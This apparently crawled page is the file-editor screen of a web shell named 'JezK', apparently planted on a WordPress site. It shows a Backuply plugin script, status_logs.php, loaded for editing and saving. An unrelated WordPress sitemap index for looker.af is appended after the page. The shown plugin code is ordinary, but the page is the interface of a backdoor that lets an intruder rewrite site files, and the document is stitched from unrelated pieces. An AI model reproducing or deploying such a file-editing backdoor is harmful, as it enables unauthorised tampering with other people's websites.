
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: status_logs.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

/*
* BACKUPLY
* https://backuply.com
* (c) Backuply Team
*/


header(&#039;Content-Type: application/json; charset=utf-8&#039;);

if(!_verify_self()){
	echo json_encode(array(&#039;success&#039; =&gt; false, &#039;progress_log&#039; =&gt; &#039;Security Check Failed!|error&#039;));
	die();
}

_get_status($_REQUEST[&#039;last_status&#039;]);

// Returns the Security key
function _get_config(){

	$config_file = dirname(__FILE__, 3) . &#039;/backuply/status_key.php&#039;;
	
	if(!file_exists($config_file) || 0 == filesize($config_file)) {
		return false;
	}

	$fp = @fopen($config_file, &#039;r&#039;);
	@fseek($fp, 16);

	$content = @fread($fp, filesize($config_file));
	@fclose($fp);

	$status_key = $content;

	return $status_key;
}

// Verifies the backuply key
function _verify_self(){
	
	if(empty($_REQUEST[&#039;status_key&#039;])) {
		return false;
	}
	
	$status_lock = dirname(__FILE__, 3). &#039;/backuply/status.lock&#039;;
	
	if(!file_exists($status_lock) || (time() - filemtime($status_lock) &gt; 1800)){
		return false;
	}

	$status_key = _get_config();
	
	if(!$status_key) {
		return false;
	}

	if(urldecode($_REQUEST[&#039;status_key&#039;]) == $status_key) {
		return true;
	}

	return false;
}

// Returns array of logs
function _get_status($last_log = 0){
	$log_file = dirname(__FILE__, 3). &#039;/backuply/backuply_log.php&#039;;
	$logs = [];
	$last_log = (int) $last_log;
	
	if(!file_exists($log_file)){
		$logs[] = &#039;Something went wrong!|error&#039;;
		echo json_encode(array(&#039;success&#039; =&gt; false, &#039;progress_log&#039; =&gt; $logs));
		die();
	}
	
	$fh = fopen($log_file, &#039;r&#039;);
	
	$seek_to = $last_log + 16; // 16 for php exi
	
	@fseek($fh, $seek_to);
	
	$lines = fread($fh, fstat($fh)[&#039;size&#039;]);
	fclose($fh);
	$fh = null;
	
	echo json_encode(array(&#039;success&#039; =&gt; true, &#039;progress_log&#039; =&gt; $lines));
	die();
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
